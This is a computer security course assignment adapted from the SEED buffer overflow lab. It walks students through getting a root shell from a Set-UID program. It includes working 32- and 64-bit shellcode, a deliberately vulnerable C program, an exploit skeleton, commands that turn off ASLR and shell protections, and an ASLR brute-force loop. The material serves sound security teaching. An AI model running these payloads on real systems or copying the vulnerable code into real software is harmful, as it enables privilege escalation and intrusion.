

CS 4351/5352: Computer Security  
Assignment 3

Total Points: 100 Points

Submission Date: Wednesday, February 28, 2024, at 11:59 P.M.

---

## Buffer Overflow Attack Lab (Set-UID Version)

Copyright © 2006 - 2020 by Wenliang Du.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

**Instructions:** Please carefully read the following instructions.

- Please add your name and student ID as part of your assignment.
- Please include a detailed description of your observations and findings for each task in your report.
- Please submit your report as a PDF file and your code as a zipped folder.
- Please use the following naming convention for submission: Name\_AssignmentNumber.
- If you wish to use one or more of your grace days, please check with the professor or the teaching assistant (TA) at **least one day prior to the deadline** to ask if you can utilize these days.
- If you have CASS accommodation, please contact the professor and the teaching assistant (TA) to provide this accommodation.

**Lab environment:** This lab has been tested on our pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website.

### 1. Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. This lab's objective is for you to gain practical insights into this type of vulnerability and learn how to exploit it in attacks.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, you will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. You need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard

- Shellcode (32-bit and 64-bit)
- The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.

**Readings.** Detailed coverage of the buffer-overflow attack can be found in the following:

- Chapter 4 of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at <https://www.handsonsecurity.net>.

## 2. Environment Setup

### Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

**Address Space Randomization.** Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. To disable this feature, please run the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

**Configuring `/bin/sh`.** In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The `dash` program, as well as `bash`, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially, dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM. Use the following command to link `/bin/sh` to `zsh`:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

**StackGuard and Non-Executable Stack.** These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program.

### 3. (20 points) Task 1: Getting Familiar with Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

#### The C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```
#include <stdio.h>

int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code as our shellcode (detailed explanation is provided in the SEED book). The best way to write a shellcode is to use assembly code. In this lab, we will be providing the binary version of a shellcode without explaining how it works (it is non-trivial).

#### 32-bit Shellcode

```
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor eax, eax ;
mov al, 0xb ; execve()'s system call number
int 0x80
```

The shellcode above invokes the `execve()` system call to execute `/bin/sh`.

- The third instruction pushes `//sh`, rather than `/sh` into the stack. This is because we need a 32-bit number here, and `/sh` has only 24 bits. Fortunately, `///` is equivalent to `/`, so we can get away with a double slash symbol.

- We need to pass three arguments to `execve()` via the `ebx`, `ecx` and `edx` registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
- The system call `execve()` is called when we set `al` to `0x0b`, and execute `"int 0x80"`.

## 64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different, and the registers used by the `execve()` system call are also different. Some explanation of the code is given in the comment section.

```
xor rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument push
rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument xor
rax, rax
mov al, 0x3b ; execve()'s system call number
syscall
```

## Task: Invoking the Shellcode

We have generated the binary code from the assembly code above and put the code in a C program called `call_shellcode.c` inside the shellcode folder. This shellcode folder is provided in Labsetup-Assignment3 folder.

Listing 1: `call_shellcode.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#ifdef __x86_64__
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
    char code[500];
```

```

strcpy(code, shellcode); // Copy the shellcode to the
stack

int (*func)() = (int(*)())code;
func(); // Invoke the shellcode from the stack
return 1;
}

```

The code above includes two copies of shellcode, one is 32-bit and the other is 64-bit. If you compile the program using the `-m32` flag, the 32-bit version will be used; without this flag, the 64-bit version will be used.

However, in the `shellcode` folder you should also see the `Makefile`. Compile the `Makefile` code by running the command `make`, the file `call_shellcode.c` will be compiled, and two binaries will be created, `a32.out` (32-bit) and `a64.out` (64-bit).

**Run both binaries and describe your observations in your report.** It should be noted that the compilation uses the `execstack` option, which allows code to be executed from the stack; without this option, the program will fail.

#### 4. (20 Points) Task 2: Understanding the Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `code` folder inside the `Labsetup-Assignment3` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 2: The vulnerable program (stack.c)

```

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past. */

#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
    char buffer[BUF_SIZE];
    /* The following statement has a buffer overflow
    problem */
    strcpy(buffer, str);
    return 1;
}

int main (int argc, char **argv)

```

```

{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf ("Returned Properly\n");
    return 1;
}

```

The above program has a buffer overflow vulnerability. It first reads an input from a file called `badfile`, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than 517. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called `badfile`. This file is under users' control.

Now, **our objective** is to create the contents for `badfile`, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

**Compilation.** To compile the above vulnerable program, do not forget to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line ①), and then change the permission to 4755 to enable the Set-UID bit (Line ②). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

```

$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②

```

Now the commands shown above (the compilation and setup commands) are already included in another `Makefile` located inside the `code` folder, so we just need to run the `make` command to execute those commands. The variables `L1`, ..., `L4` are set in `Makefile`; they will be used during the compilation. If the instructor has chosen a different set of values for these variables, you need to change them in `Makefile`.

## 5. (30 Points) Task 3: Launching Attack on 32-bit Program (Level 1)

### Investigation

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the

target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

We will add the `-g` flag to `gcc` command, so debugging information is added to the binary. However, since you ran `make`, the debugging version is already created. We will use `gdb` to debug `stack-L1-dbg`. We need to create a file called `badfile` before running the program. Please follow the commands below.

```
$ touch badfile                                ⚡ Create an empty badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof ⚡ Set a break point at function bof()

Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run                                ⚡ Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18 {
gdb-peda$ next                                ⚡ See the note below
...
22     strcpy (buffer, str);

gdb-peda$ p $ebp                                ⚡ Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer                            ⚡ Get the buffer's address
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit                                ⚡ exit
```

**Note 1.** When `gdb` stops inside the `bof()` function, it stops before the `ebp` register is set to point to the current stack frame, so if we print out the value of `ebp` here, we will get the caller's `ebp` value. We need to use `next` to execute a few instructions and stop after the `ebp` register is modified to point to the stack frame of the `bof()` function. The SEED book is based on Ubuntu 16.04, and `gdb`'s behavior is slightly different, so the book does not have the `next` step.

**Note 2.** It should be noted that the frame pointer value obtained from `gdb` is different from that during the actual execution (without using `gdb`). This is because `gdb` has pushed some environment data into the stack before running the debugged program. When the program runs directly without using `gdb`, the stack does not have those data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

## Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside `badfile`. We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and you need to replace some of the essential values in the code.

Listing 3: `exploit.py`

```
#!/usr/bin/python3
import sys

shellcode= (
    ""                                     # ☆ Need to change ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
##### # Put the shellcode somewhere in the payload
start = 0                                # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x00                               # ☆ Need to change ☆
offset = 0                               # ☆ Need to change ☆

L = 4                                    # Use 4 for 32-bit address and 8
for 64-bit address content[offset:offset + L] =
(ret).to_bytes(L, byteorder='little')
#####
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

After you finish the above program, run it. This will generate the contents for badfile. Then run the vulnerable program `stack.c`. If your exploit is implemented correctly, you should be able to get a root shell:

```
./exploit.py // create the badfile
./stack-L1 // launch the attack by running the
vulnerable program
# ß Bingo! You've got a root shell!
```

In your lab report, in addition to providing screenshots to demonstrate your investigation and attack, you also need to explain how the values used in your `exploit.py` are decided. Only demonstrating a successful attack without explaining why the attack works will not receive many points.

## 6. (15 points) Tasks 4: Defeating dash's Countermeasure



The dash shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal to the real UID (which is the case in a Set-UID program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let `/bin/sh` points to another shell called `zsh`, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure. Please do the following command, so `/bin/sh` points back to `/bin/dash`.

```
$ sudo ln -sf /bin/dash /bin/sh
```

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned Set-UID program runs, the effective UID is zero, so before we invoke the shell program, we just need to change the real UID to zero. We can achieve this by invoking `setuid(0)` before executing `execve()` in the shellcode.

The following assembly code shows how to invoke `setuid(0)`. The binary code is already located inside `call_shellcode.c` (located inside the shellcode folder) at the beginning of the file. You just need to add it to the beginning of the shellcode.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx                ; ebx = 0:
setuid()'s argument
xor eax, eax
mov al, 0xd5                ; setuid()'s
system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi                ; rdi = 0:
setuid()'s argument
xor rax, rax
mov al, 0x69                ; setuid()'s
system call number
syscall
```

**Experiment.** Compile `call_shellcode.c` into root-owned binary (by typing "make setuid"). Run the shellcode `a32.out` and `a64.out` with or without the `setuid(0)` system call. Please describe and explain your observations.

**Launching the attack again.** Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Task3 Level 1, and see whether you can get the root shell. After getting the root shell, please run the following command to prove that the countermeasure is turned on.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

## 7. (15 Points) Task 5: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have  $2^{19} = 524,288$  possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu's address randomization using the following command. Then we run the same attack against stack-L1. Please describe and explain your observation.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the `badfile` can eventually be correct. We will only try this on stack-L1, which is a 32-bit program. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a few minutes, but if you are very unlucky, it may take longer. Please describe your observation.

```
#!/bin/bash

SECONDS=0
value=0

while true; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(( $duration / 60 ))
    sec=$(( $duration % 60 ))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack-L1
done
```